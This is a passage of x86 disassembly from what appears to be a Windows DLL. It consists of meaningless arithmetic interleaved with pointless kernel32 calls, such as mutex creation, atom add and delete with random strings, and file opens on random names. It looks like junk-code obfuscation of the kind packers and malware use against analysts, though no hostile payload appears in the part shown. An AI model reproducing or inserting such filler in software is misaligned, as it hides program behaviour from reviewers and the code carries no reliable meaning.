push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9704], eax
push 0
lea eax, [ebp - 0x97fc]
push eax
mov ecx, dword [0x100b9714]
push ecx
mov edx, dword [0x100b9710]
push edx
mov eax, dword [ebp - 0x35b0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9708], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3640], eax
mov ecx, dword [ebp - 0x35bc]
movsx edx, word [ecx]
movsx eax, word [0x100b95ec]
and edx, eax
mov word [ebp - 0x1140], dx
mov dword [ebp - 0x3644], 0x100b71d0
movzx edx, byte [ebp - 0x268]
movzx ecx, byte [ebp - 0x2f]
sar edx, cl
mov eax, dword [0x100b9598]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3634]
xor ecx, dword [ebp - 0x2db8]
mov edx, dword [ebp - 0x346c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3494]
mov ecx, dword [ebp - 0x2c90]
sub ecx, dword [eax]
mov dword [ebp - 0x3170], ecx
movzx edx, word [0x100b966c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x118c], ax
mov eax, dword [ebp - 0x35f0]
mov cl, byte [eax]
mov byte [0x100b7e1e], cl
lea edx, [ebp - 0x84c]
mov dword [ebp - 0x3648], edx
push 0
push 0x40
push 1
push 0
push 8
push 0xc0000000
push str.OLYkhzUgO79OV
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b970c], eax
mov eax, dword [ebp - 0x35ac]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x115c]
shl edx, cl
mov word [ebp - 0x608], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9718], eax
mov eax, dword [ebp - 0x35f4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f4]
or ecx, edx
mov byte [0x100b714b], cl
mov eax, dword [0x100b96fc]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7df6]
add ecx, edx
mov eax, dword [ebp - 0x3620]
mov byte [eax], cl
lea ecx, [ebp - 0x2db8]
mov dword [ebp - 0x364c], ecx
mov edx, dword [ebp - 0x3494]
mov eax, dword [edx]
and eax, dword [ebp - 0x2c90]
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
movsx edx, byte [ebp - 0xcf]
movsx eax, byte [ebp - 0x1d5]
xor edx, eax
mov byte [ebp - 0x262], dl
lea ecx, [ebp - 0xbdc]
mov dword [ebp - 0x3650], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x352c], eax
push 0x2366
push 0x9fe
push 0x10d3
push 0x18fd
mov edx, dword [0x100b95e8]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x35f8], eax
lea eax, [ebp - 0xadc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [0x100b971c], 0x100b96b4
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3618]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3524]
mov byte [ecx], dl
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
push str.MA1wzSPx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9720], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b94b0], eax
mov edx, dword [ebp - 0x3478]
mov eax, dword [0x100b71e4]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2b2c], eax
mov ecx, dword [0x100b9650]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbdc]
add edx, eax
mov ecx, dword [0x100b9650]
mov word [ecx], dx
mov edx, dword [0x100b9524]
mov dword [ebp - 0x3654], edx
movsx eax, byte [ebp - 0x264]
movsx ecx, byte [ebp - 0xf1]
and eax, ecx
mov byte [ebp - 0x269], al
mov edx, dword [0x100b9508]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1130]
or eax, ecx
mov word [0x100b96b4], ax
movzx edx, word [ebp - 0x116c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1190], ax
lea eax, [ebp - 0xa7]
mov dword [ebp - 0x3658], eax
mov ecx, dword [ebp - 0x35b8]
imul edx, dword [ecx], 0x2dd5
mov dword [ebp - 0x33d4], edx
lea eax, [ebp - 0x1d5]
mov dword [0x100b9724], eax
movzx ecx, word [ebp - 0x61c]
mov edx, dword [ebp - 0x33ec]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3648]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9728], eax
mov eax, dword [ebp - 0x3540]
movzx edx, word [eax]
mov eax, dword [ebp - 0x33dc]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x618], dx
mov ecx, dword [0x100b9550]
mov esi, dword [ebp - 0x346c]
mov eax, dword [ecx]
xor edx, edx
div dword [esi]
mov dword [0x100b9524], eax
lea edx, [ebp - 0x1144]
mov dword [ebp - 0x365c], edx
movzx eax, byte [ebp - 0x8f]
movzx ecx, byte [0x100b7df7]
add eax, ecx
mov byte [ebp - 0xa7], al
lea edx, [ebp - 0x35e0]
mov dword [0x100b972c], edx
push str.R3dK82_m3Ej
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b962c], ax
mov al, byte [ebp - 0x269]
mov byte [ebp - 0x26a], al
mov ecx, dword [ebp - 0x35d0]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3610]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1178], dx
lea edx, [ebp - 0x618]
mov dword [0x100b9730], edx
movsx eax, byte [0x100b714b]
movsx ecx, byte [0x100b7133]
sub eax, ecx
mov byte [ebp - 0x269], al
mov edx, dword [ebp - 0x350c]
mov eax, dword [ebp - 0x3080]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [0x100b96e4]
mov dword [ecx], eax
mov dx, word [0x100b95ec]
mov word [ebp - 0x1194], dx
mov eax, dword [ebp - 0x33b0]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b94c8], eax
movzx ecx, byte [0x100b712e]
mov edx, dword [ebp - 0x3658]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3548]
mov byte [edx], cl
mov eax, dword [ebp - 0x3630]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2e18]
mov edx, dword [0x100b96f4]
mov dword [edx], ecx
mov dword [ebp - 0x3660], 0x100b71d8
mov eax, dword [ebp - 0x359c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x35e0]
sar edx, cl
mov dword [ebp - 0x2dc0], edx
mov dword [0x100b9734], 0x100b94f4
mov eax, dword [ebp - 0x364c]
mov ecx, dword [ebp - 0x3604]
add ecx, dword [eax]
mov edx, dword [ebp - 0x35d8]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3664], eax
mov eax, dword [0x100b9598]
mov cl, byte [eax]
mov byte [ebp - 0x26b], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9738], eax
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100b955c]
mov byte [ecx], al
push 0x100a4724
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1198], ax
movsx edx, byte [ebp - 0x1f4]
movsx eax, byte [ebp - 0x262]
xor edx, eax
mov ecx, dword [ebp - 0x3624]
mov byte [ecx], dl
push 0x100a472c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b973c], ax
mov edx, dword [ebp - 0x3544]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3668], eax
mov dword [ebp - 0x366c], 0x100b9530
lea eax, [ebp - 0x260]
mov dword [0x100b9740], eax
mov ecx, dword [0x100b9508]
movsx edx, word [ecx]
movsx ecx, word [0x100b94a0]
shl edx, cl
mov word [ebp - 0x1130], dx
lea eax, [ebp - 0x1138]
mov dword [ebp - 0x3670], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9678], eax
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, word [ebp - 0x1154]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9744], ax
mov dword [0x100b9748], 0x100b9524
movsx eax, byte [ebp - 0xef]
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x267], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3674], eax
push 0
lea eax, [ebp - 0x97fc]
push eax
mov ecx, dword [0x100b9754]
push ecx
mov edx, dword [0x100b9750]
push edx
mov eax, dword [0x100b9670]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3590], eax
mov ecx, dword [ebp - 0x3628]
mov edx, dword [ebp - 0x35e0]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x366c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3608]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x100b7df7], dl
push 0
push 0x3d3e
push 0xa89
push 0x3c
mov edx, dword [ebp - 0x3384]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100b974c], eax
lea eax, [ebp - 0x1184]
mov dword [ebp - 0x3678], eax
movsx ecx, word [ebp - 0x1130]
mov edx, dword [0x100b9734]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x365c]
mov word [edx], cx
movsx eax, byte [ebp - 0x1d5]
mov ecx, dword [0x100b9724]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b714a], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9758], eax
lea eax, [ebp - 0xadec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x367c], 0x100b71e8
push 0x6fc
push 0x1db0
push 0x1781
push 0x80e
mov ecx, dword [0x100b9500]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x3584], eax
lea edx, [ebp - 0x2ec4]
mov dword [ebp - 0x3680], edx
lea eax, [ebp - 0xae10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [0x100b975c], 0x100b71e4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9760], eax
mov ecx, dword [ebp - 0x3524]
movzx edx, byte [ecx]
mov eax, dword [0x100b96fc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x260], dl
lea edx, [ebp - 0x1130]
mov dword [ebp - 0x3684], edx
push 0x71f
mov eax, dword [0x100b9738]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3588], eax
mov ecx, dword [0x100b9654]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x349c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [str.i3], dl
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3648]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x35d0]
mov word [eax], dx
mov edx, dword [0x100b71e4]
mov ecx, dword [ebp - 0x2c90]
sar edx, cl
mov dword [ebp - 0x33b4], edx
mov eax, dword [0x100b9540]
and eax, dword [ebp - 0x2be8]
mov ecx, dword [0x100b96e4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xa7]
movzx eax, byte [ebp - 0x26b]
or edx, eax
mov byte [ebp - 0x4e], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9764], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3688], eax
mov ecx, dword [0x100b94c0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x368c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x363c], eax
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x1c9a
push 0x1de8
push 0x3cfe
push 0x1f53
mov edx, dword [ebp - 0x34d8]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100b9674], eax
lea eax, [ebp - 0x1d5]
mov dword [ebp - 0x3690], eax
lea ecx, [ebp - 0x1180]
mov dword [0x100b9780], ecx
movzx edx, word [0x100b71e8]
movzx eax, word [ebp - 0x1158]
xor edx, eax
mov ecx, dword [ebp - 0x3610]
mov word [ecx], dx
mov ecx, dword [0x100b975c]
mov eax, dword [ebp - 0x2c90]
cdq
idiv dword [ecx]
mov dword [ebp - 0x2d84], eax
push 0x100b9784
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push str.zPD.QHW_OOvvHHTQOUi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x119c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3694], eax
mov edx, dword [0x100b94fc]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [ebp - 0x264]
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b959c]
mov byte [ecx], al
mov edx, dword [ebp - 0x3618]
movzx eax, byte [edx]
mov ecx, dword [0x100b9664]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3534]
mov byte [edx], al
mov eax, dword [ebp - 0x346c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3080]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
mov eax, dword [0x100b9544]
mov cx, word [eax]
mov word [0x100b979c], cx
lea edx, [ebp - 0x608]
mov dword [ebp - 0x3698], edx
mov eax, dword [0x100b71e4]
mov ecx, dword [ebp - 0x3170]
sar eax, cl
mov dword [ebp - 0x2e18], eax
movsx ecx, byte [ebp - 0x266]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
xor ecx, eax
mov byte [0x100b7e03], cl
mov ecx, dword [0x100b96fc]
mov dl, byte [ecx]
mov byte [ebp - 0x26c], dl
mov eax, dword [ebp - 0x3644]
mov cx, word [eax]
mov word [ebp - 0x11a0], cx
movzx eax, word [ebp - 0x1168]
cdq
mov ecx, 0x2bd
idiv ecx
mov edx, dword [0x100b9544]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b968c], eax
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [0x100b9524]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3418]
mov dword [edx], ecx
lea eax, [ebp - 0x1144]
mov dword [ebp - 0x369c], eax
mov ecx, dword [0x100b9584]
mov edx, dword [ecx]
mov dword [0x100b97a0], edx
movsx eax, byte [ebp - 0x264]
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x35c4]
mov byte [ecx], al
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
and eax, edx
mov byte [0x100b713f], al
push 0x1058
mov eax, dword [ebp - 0x354c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x36a0], eax
movzx ecx, word [ebp - 0x1184]
mov edx, dword [ebp - 0x3670]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x594], cx
push 0x100b97a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push str.Dd.V8bi_y
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9744], ax
mov ecx, dword [ebp - 0x366c]
mov edx, dword [0x100b97a0]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x355c]
mov dword [eax], edx
mov edx, dword [ebp - 0x2ec4]
mov ecx, dword [0x100b9540]
shr edx, cl
mov dword [0x100b71f0], edx
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3488]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xbe8], cx
movzx ecx, word [ebp - 0x117c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b97bc], ax
push 0
push 8
push 4
push 0
push 1
push 0xc0000000
push str.na2wlktW_t3m
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x36a4], eax
movsx edx, byte [ebp - 0x264]
movsx eax, byte [ebp - 0x262]
add edx, eax
mov ecx, dword [ebp - 0x3690]
mov byte [ecx], dl
mov edx, dword [0x100b9598]
mov al, byte [edx]
mov byte [0x100b7e1f], al
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x26a]
and edx, eax
mov byte [ebp - 0xcf], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x352c], eax
lea ecx, [ebp - 0x2c90]
mov dword [ebp - 0x36a8], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b97c0], eax
mov edx, dword [ebp - 0x35e4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3540]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100b95f0]
mov word [ecx], ax
mov dword [ebp - 0x36ac], 0x100b94f4
mov edx, dword [ebp - 0x346c]
mov eax, dword [ebp - 0x2ec4]
or eax, dword [edx]
mov dword [ebp - 0x2db8], eax
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3534]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7143], dl
movsx edx, byte [0x100b7dfe]
mov eax, dword [ebp - 0x3538]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3690]
mov byte [ecx], dl
mov edx, dword [ebp - 0x359c]
mov eax, dword [edx]
mov dword [ebp - 0x36b0], eax
mov ecx, dword [ebp - 0x3678]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
add edx, ecx
mov word [0x100b71f4], dx
movsx edx, word [ebp - 0x1140]
mov eax, dword [ebp - 0x369c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x5c4], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9648], eax
mov edx, dword [0x100b9730]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1158]
xor eax, ecx
mov word [ebp - 0x1138], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x36b4], eax
push 0xef8
push 0
lea edx, [ebp - 0x3688]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b97c4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b97c8], eax
mov eax, dword [ebp - 0x3524]
mov cl, byte [eax]
mov byte [0x100b7e22], cl
mov edx, dword [ebp - 0x3028]
mov dword [ebp - 0x36b8], edx
mov eax, dword [ebp - 0x359c]
mov ecx, dword [ebp - 0x2e18]
add ecx, dword [eax]
mov edx, dword [ebp - 0x355c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3688]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x35f0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b7e0e], dl
mov edx, dword [ebp - 0x35d0]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1148]
or eax, ecx
mov word [ebp - 0x1138], ax
movsx edx, word [0x100b95ec]
movsx ecx, word [ebp - 0x970]
shl edx, cl
mov word [ebp - 0x730], dx
mov eax, dword [ebp - 0x3490]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xf1]
sar edx, cl
mov byte [0x100b7e0e], dl
mov eax, dword [ebp - 0x3534]
movzx ecx, byte [eax]
mov edx, dword [0x100b9660]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x334c]
mov byte [edx], cl
push 0x100b97cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x3080]
mov dword [ebp - 0x36bc], eax
mov ecx, dword [ebp - 0x3630]
mov edx, dword [ecx]
add edx, dword [ebp - 0x35e0]
mov dword [0x100b71f8], edx
mov eax, dword [ebp - 0x35f0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x3538]
mov byte [edx], cl
lea eax, [ebp - 0xd80]
mov dword [ebp - 0x36c0], eax
movsx edx, word [ebp - 0x115c]
movsx ecx, word [ebp - 0x970]
sar edx, cl
mov word [0x100b71fc], dx
mov eax, dword [ebp - 0x3524]
mov cl, byte [eax]
mov byte [ebp - 0x26d], cl
mov edx, dword [ebp - 0x2d88]
mov ecx, dword [0x100b71f8]
shl edx, cl
mov eax, dword [ebp - 0x3494]
mov dword [eax], edx
push 0
push 0x40
push 3
push 0
push 4
push 0x40000000
push str.WBmqbFqx0FEo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x36c4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b967c], eax
movzx ecx, word [ebp - 0x1178]
movzx edx, word [0x100b71cc]
or ecx, edx
mov eax, dword [0x100b9650]
mov word [eax], cx
mov ecx, dword [ebp - 0x34c0]
xor ecx, dword [ebp - 0x3080]
mov dword [ebp - 0x3028], ecx
mov edx, dword [ebp - 0x35f0]
mov al, byte [edx]
mov byte [ebp - 0x26e], al
mov ecx, dword [0x100b9780]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1144]
add edx, eax
mov word [0x100b96b4], dx
movzx ecx, byte [ebp - 0x263]
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x1a5], cl
mov ecx, dword [ebp - 0x33d4]
imul ecx, dword [ebp - 0x2d10]
mov dword [ebp - 0x2e2c], ecx
mov dl, byte [ebp - 0xbb]
mov byte [0x100b7e23], dl
lea eax, [ebp - 0x108c]
mov dword [ebp - 0x36c8], eax
lea ecx, [ebp - 0x9bf8]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x35d0]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1168], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36cc], eax
mov edx, dword [ebp - 0x35d8]
mov ecx, dword [ebp - 0x33fc]
mov eax, dword [edx]
xor edx, edx
div dword [ecx]
mov edx, dword [0x100b96e4]
mov dword [edx], eax
movsx eax, word [ebp - 0xbe8]
movsx ecx, word [ebp - 0x115c]
sub eax, ecx
mov word [ebp - 0x1194], ax
mov dl, byte [ebp - 0x260]
mov byte [ebp - 0x26f], dl
mov eax, dword [ebp - 0x366c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2d88]
shl edx, cl
mov dword [0x100b7200], edx
push 0
push 0x10
push 3
push 0
push 4
push 0x40000000
push str.5uqrVpNDsFfU57UrD0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b97f0], eax
lea eax, [ebp - 0xf1]
mov dword [ebp - 0x36d0], eax
movzx ecx, word [ebp - 0x108c]
movzx edx, word [ebp - 0x1184]
or ecx, edx
mov eax, dword [ebp - 0x33b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x84c]
add edx, eax
mov ecx, dword [0x100b95f0]
mov word [ecx], dx
mov edx, dword [0x100b955c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x261]
and eax, ecx
mov edx, dword [ebp - 0x3690]
mov byte [edx], al
push str.W4Sy9_EVuurQo.pH3c00
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11a4], ax
mov dword [0x100b97f4], 0x100b9524
push 0x100b97cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x1144]
mov dword [ebp - 0x36d4], eax
movzx edx, byte [ebp - 0x263]
movzx ecx, byte [0x100b7143]
sar edx, cl
mov byte [ebp - 0x1b2], dl
movzx eax, word [ebp - 0x116c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b94ec], ax
mov ecx, dword [ebp - 0x2e2c]
mov dword [0x100b97f8], ecx
movzx edx, word [ebp - 0x1178]
mov eax, dword [ebp - 0x3540]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x36c0]
mov word [eax], dx
mov ecx, dword [ebp - 0x3458]
xor ecx, dword [ebp - 0x2c90]
mov dword [ebp - 0x33d4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x36d8], eax
mov edx, dword [ebp - 0x3488]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x361c]
movsx ecx, word [ecx]
shl eax, cl
mov word [0x100b96b4], ax
mov edx, dword [ebp - 0x364c]
mov eax, dword [ebp - 0x3418]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2e08], ecx
push 0
push 0x20
push 2
push 0
push 4
push 0x40000000
push str.T6AUG2kMXWB_fPLvA8YJ0fOYDPk04APcHG2vYCFVc
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b97fc], eax
movzx edx, word [ebp - 0x119c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9800], ax
lea eax, [ebp - 0x9bf8]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3608]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3534]
mov byte [eax], dl
movsx ecx, byte [ebp - 0x261]
movsx edx, byte [ebp - 0x266]
or ecx, edx
mov byte [0x100b7e0e], cl
push 0xf2e
mov eax, dword [0x100b950c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9804], eax
mov cl, byte [ebp - 0x26e]
mov byte [ebp - 0x270], cl
mov edx, dword [0x100b972c]
mov eax, dword [ebp - 0x35e0]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x3494]
mov dword [ecx], eax
push 0
push 0x80
push 2
push 0
push 8
push 0xc0000000
push str.3f8Ahp8jv8Yqx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x36dc], eax
push 0xde6
push 0
push 0x100b9498
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x33c8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x36e0], eax
mov dword [0x100b9808], 0x100b713f
mov edx, dword [ebp - 0x35bc]
movsx eax, word [edx]
mov ecx, dword [0x100b9780]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xb8c], ax
lea eax, [ebp - 0x108c]
mov dword [ebp - 0x36e4], eax
mov ecx, dword [0x100b97f4]
mov edx, dword [ebp - 0x364c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [0x100b9524], eax
push 1
lea ecx, [ebp - 0x9804]
push ecx
mov edx, dword [0x100b9814]
push edx
mov eax, dword [0x100b9810]
push eax
mov ecx, dword [0x100b9500]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x36e8], eax
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
movsx ecx, byte [str.i3]
and eax, ecx
mov byte [ebp - 0xcf], al
lea edx, [ebp - 0x36b0]
mov dword [ebp - 0x36ec], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b980c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3588], eax
mov eax, dword [0x100b9664]
mov cl, byte [eax]
mov byte [0x100b7e2a], cl
movzx edx, word [ebp - 0x108c]
movzx eax, word [ebp - 0xd80]
sub edx, eax
mov ecx, dword [ebp - 0x35fc]
mov word [ecx], dx
movsx edx, word [0x100b94f4]
movsx ecx, word [ebp - 0x1140]
shl edx, cl
mov eax, dword [ebp - 0x36d4]
mov word [eax], dx
movsx ecx, byte [ebp - 0x262]
movsx edx, byte [ebp - 0x270]
xor ecx, edx
mov eax, dword [0x100b959c]
mov byte [eax], cl
lea ecx, [ebp - 0x1178]
mov dword [ebp - 0x36f0], ecx
mov edx, dword [ebp - 0x36bc]
mov eax, dword [0x100b9748]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x3080], ecx
mov edx, dword [ebp - 0x3630]
mov eax, dword [ebp - 0x359c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
